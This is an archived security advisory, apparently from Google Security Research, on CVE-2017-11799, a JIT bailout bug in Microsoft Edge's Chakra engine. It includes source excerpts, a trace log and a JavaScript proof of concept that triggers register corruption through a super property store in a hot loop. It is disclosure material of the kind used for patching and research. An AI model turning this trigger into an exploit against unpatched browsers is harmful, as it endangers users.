exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns

Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns
Posted Oct 14, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT compiler creates incorrect GenerateBailOut calling patterns.

tags | exploit
advisories | CVE-2017-11799
SHA-256 | c3a94eb581652bd3601d89fe9f3bccfc65bf2f5b30dccc9db74b9516daac3bfc

Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns

Change Mirror Download
 Microsoft Edge: Chakra: JIT: Incorrect GenerateBailOut calling patterns 

CVE-2017-11799


Bailout:
"ChakraCoreas background JIT compiler generates highly optimized JITaed code based upon the data and infers likely usage patterns based on the profile data collected by the interpreter. Given the dynamic nature of JavaScript code, if the code gets executed in a way that breaks the profile assumptions, the JITaed code abails outa to the interpreter where the slower bytecode execution restarts while continuing to collect more profile data."

From <a href="https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview" title="" class="" rel="nofollow">https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview</a>



One of the ways to generate bailouts in Chakra is to directly change the opcode of an instruction that can't be JITed. This is performed by the method "Lowerer::GenerateBailOut".


Here's a snippet of Lowerer::GenerateBailOut.
...
// Call the bail out wrapper
instr->m_opcode = Js::OpCode::Call;
if(instr->GetDst())
{
// To facilitate register allocation, don't assign a destination. The result will anyway go into the return register,
// but the register allocator does not need to kill that register for the call.
instr->FreeDst();
}
instr->SetSrc1(IR::HelperCallOpnd::New(helperMethod, this->m_func));
m_lowererMD.LowerCall(instr, 0);

Here's some calling patterns of the method.

1.
instr->FreeSrc1();
instr->FreeSrc2();
this->GenerateBailOut(instr);

2.
stElem->FreeSrc1();
stElem->FreeDst();
GenerateBailOut(stElem, nullptr, nullptr);

Judging from the method code that doesn't care about "Src2" and the calling patterns, freeing or unlinking "Src1" and "Src2" is up to the callers. I could spot some points that don't free or unlink an instuction's "Src2", despite the instruction has "Src2". In these cases, it ends up to be converted to "Js::OpCode::Call" with "Src2". So, what happens if a Call instruction has "Src2"?

Here's the trace log of the PoC.
$L13: [helper]

s51<-48> = MOV s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>) 4C 89 6D D0
(rdi).u64 = MOV 0xXXXXXXXX (BailOutRecord).u64 48 BF 78 23 00 7C 17 7F 00 00
(rax).u64 = MOV SaveAllRegistersAndBailOut.u64 48 B8 20 92 19 93 1F 7F 00 00
CALL (rax).u64, s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>) 49 FF C5
JMP $L14 E9 00 00 00 00
StatementBoundary #-1


"CALL (rax).u64, s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>)" is what Chakra wanted to generate(despite CALLs don't take the second operand). "49 FF C5" is x86-64 code actually generated and disassembled as "inc <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>". This also means there's a bug in the x86-64 assembler.


PoC bug:
The following buggy method is used to convert a St*Fld instruction to a bailout. Unlike just "StFld" instructions, "StSuperFld" instructions take "Src2" as "this". So the following method should have freed "Src2".

bool
Lowerer::GenerateStFldWithCachedType(IR::Instr *instrStFld, bool* continueAsHelperOut, IR::LabelInstr** labelHelperOut, IR::RegOpnd** typeOpndOut)
{
...
instrStFld->m_opcode = Js::OpCode::BailOut;
instrStFld->FreeSrc1();
<<----------- should call FreeSrc2
instrStFld->FreeDst();

this->GenerateBailOut(instrStFld);
...
}

PoC:
class MyClass {
constructor() {
this.arr = [1, 2, 3];
}

f() {
super.arr = [1];
this.x; // for passing BackwardPass::DeadStoreTypeCheckBailOut ?
}
}

let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {
c.f();
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close